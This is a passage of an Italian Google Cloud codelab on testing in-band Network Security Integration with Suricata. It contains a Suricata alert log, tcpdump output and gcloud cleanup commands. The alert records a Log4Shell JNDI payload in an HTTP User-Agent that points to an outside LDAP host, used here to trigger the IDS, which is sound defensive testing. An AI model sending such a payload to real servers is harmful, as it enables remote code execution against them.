{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Inoltre, le acquisizioni dei pacchetti sarebbero un buon modo per visualizzare e convalidare il traffico.
Questo comando filtra i pacchetti GENEVE. Comando di esempio:
sudo tcpdump -i any -nn udp port 6081
Ora invia un po' di traffico di test da una VM consumer. Esempio di output:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Tieni presente che con tcpdump puoi visualizzare le intestazioni GENEVE. L'IP di origine è quello del gateway della subnet (10.0.0.1) e l'IP di destinazione è quello della regola di forwarding (10.0.0.11 o 10.0.0.12). I pacchetti incapsulati contengono i pacchetti originali: l'IP client di consumer-$zonea (192.168.0.2) o consumer-$zoneb (192.168.0.3) e la destinazione google.com. Ciò conferma che i pacchetti vengono intercettati e inviati all'appliance di terze parti tramite Network Security Integration.
- Tornare a Cloud Shell uscendo dalla sessione SSH
exit
Complimenti. Hai eseguito il deployment e testato correttamente un ambiente con l'integrazione di Network Security Integration (NSI) in banda.
5. Esegui la pulizia
Consumatore
Elimina le VM consumer:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Elimina l'associazione e la policy del firewall:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Elimina gruppo di profili di sicurezza e profilo di sicurezza:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Elimina l'associazione dell'endpoint e i gruppi di endpoint di intercettazione:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Elimina Cloud NAT, router Cloud e IP riservato
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Elimina VPC e subnet
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Produttore
Elimina deployment di intercettazione:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Elimina il gruppo di deployment di intercettazione (i deployment di intercettazione devono essere eliminati prima che questo comando venga eseguito correttamente):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Elimina le regole di forwarding:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Elimina IP riservato della regola di forwarding:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Elimina il servizio di backend:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Elimina i gruppi di istanze non gestite:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Elimina controllo di integrità:
gcloud compute health-checks delete nva-hc -q
Elimina le VM del producer:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Elimina Cloud NAT, il router Cloud e l'IP riservato:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Elimina l'associazione dei criteri firewall:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Elimina la policy firewall:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Elimina VPC e subnet
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Complimenti!
Complimenti, hai completato correttamente il codelab di Network Security Integration in banda con Suricata.
Guarda i video dimostrativi specifici del fornitore di NSI in banda:
Consulta alcune guide al deployment specifiche per i fornitori che potrebbero essere pertinenti per la tua organizzazione: